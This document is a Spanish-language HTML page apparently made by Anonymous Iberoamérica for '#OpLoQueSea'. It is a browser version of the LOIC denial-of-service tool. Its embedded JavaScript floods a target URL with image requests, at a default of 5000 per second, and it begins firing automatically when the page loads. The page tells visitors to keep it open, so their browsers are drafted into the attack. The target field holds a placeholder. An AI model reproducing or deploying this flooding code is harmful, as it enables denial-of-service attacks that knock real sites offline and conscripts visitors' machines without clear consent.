<!doctype html public "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="SHORTCUT ICON" type="chliz" href="http://i.imgur.com/ATn9J.jpg">
<title>#OpLoQueSea - Webhive</title>
<style type="text/css">
<!--
body {
text-align:center;
background-color: #000;
font-family:Verdana, Geneva, sans-serif;
color:#FFF;
}
.centrado {
width: 1100px;
margin-left:auto;
margin-right:auto;
margin-top:15px;
height:650px;
}
.left {
float:left;
margin-left:10px;}
.van {
background-repeat:repeat-x;
width:819px;
text-align:left;
float:left;
margin-top:10px;
}
.vann {
height: auto;
width: 819px;
text-align:left;
margin-left:auto;
margin-right:auto;
}
.button {
width:118px;
height:35px;
display:block;
font-family:Tahoma;
font-size:20px;
font-weight:bolder;
color:#fff;
float:left;
text-align:center;
text-decoration:none;
padding-top:10px;
margin-left:2px;
}
.Estilo1 {
color: #000000;
font-weight: bold;
font-size: 18px;
}
.Estilo2 {color: #FF0000;}
.Estilo3 {color: #66FF00;}
.Estilo4 {color: #00FFFF;}
.Estilo6 {color: #FFFFFF; font-weight: bold;}
h1 {color:#FFF;}
.vids { height: 765px; width: 640px; overflow: hidden; margin-left:auto; margin-right:auto; }
.embeds { width: 640px; }
-->
</style>
<div class="centrado">
<div style="width:1100px; overflow:hidden; padding-top:4px; float:left">
<div id="loic" style="z-index:10; width:1100px; margin-bottom:20px; height:770px;">
<div style="margin-left:auto; margin-right:auto">
<h1>Anonymous Iberoamérica #OpLoQueSea<br />
Deja esta página abierta<br /></h1>
<p><div style="position: relative; width: 752px; height: 100%; left: -177px; top: 11px;">
<div style="width: 490px; height: 331px; position: absolute; left: 186px; top: -15px;">
<img alt="LOIC" src="http://i.imgur.com/Jrti2.jpg" width="979" height="482" /></div>
<div style="width: 323px; height: 73px; position: absolute; left: 427px; top: -1px;">
<fieldset style="width: 100%; height: 100%;">
<legend>1. Selecciona Target</legend>
<label>URL:<br />
<input name="xD" id="targetURL" style="width: 100%;" value="http://Aca_va_el_target.com"/>
</label>
<legend></legend>
</fieldset>
</div>
<div style="width: 240px; height: 100px; position: absolute; left: 876px; top: -8px;">
<fieldset style="width: 100%; height: 100%;">
<legend>3. Listo?</legend>
<button id="fireButton" style="background-color:#FF9900; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;"> Dejar de Disparar! </button>
</fieldset>
</div>
<div style="width: 685px; height: 140px; position: absolute; left: 404px; top: 110px;">
<fieldset style="width: 100%; height: 100%;">
<legend>2. Opciones de ataque</legend>
<label><span id="result_box"><span title="Requests per second">Peticiones por segundo</span></span>: <input style="width: 40px;" id="rps" value="5000" /></label>
<label>Mensaje:<br />
<input id="message" style="width: 100%;" value="Somos Anonymous, Somos Legión, No perdonamos, No olvidamos, Esperanos! Anonymous Iberoamérica" />
</label>
</fieldset>
<div style="width: 676px; height: 163px; position: absolute; left: 0px; top: 167px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Status de ataque</legend>
<dl>
<dt>Solicitudes:</dt>
<dd class="Estilo4" id="requestedCtr">0</dd>
<dt>Logros:</dt>
<dd class="Estilo3" id="succeededCtr">0</dd>
<dt>Fallidos:</dt>
<dd class="Estilo2" id="failedCtr">0</dd>
</dl>
</fieldset>
</div>
</div>
</div>
<script>
(function () {
var fireInterval;
var isFiring = false;
var currentTime = new Date()
var lastSuccess = currentTime.getTime();
var requestedCtrNode = document.getElementById("requestedCtr"),
succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),
rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");
var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};
var requestsHT = {}; // requests hash table, may come in handy later
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
var makeHttpRequest = function () {
if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
return;
} else { lastSuccess = currentTime.getTime();};
var rID =Number(new Date());
var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};
var onRequest = function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function (rID) {
delete requestsHT[rID];
};
var onFail = function (rID) {
// failedCtr++;
//failedCtrNode.innerHTML = failedCtr;
succeededCtr++; //Seems like the url will always fail it it isn't an image
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};
var onSuccess = function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "Disparar Otra Vez!";
} else {
isFiring = true;
this.innerHTML = "Dejar de Disparar!";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
function FireIbero() {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "Disparar Otra Vez!";
} else {
isFiring = true;
this.innerHTML = "Stop flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
document.getElementById("targetURL").value = "http://Aca_va_el_target.com";
FireIbero();
})();
</script>
</p></div>
</div>
</div>
</div>
</!doctype>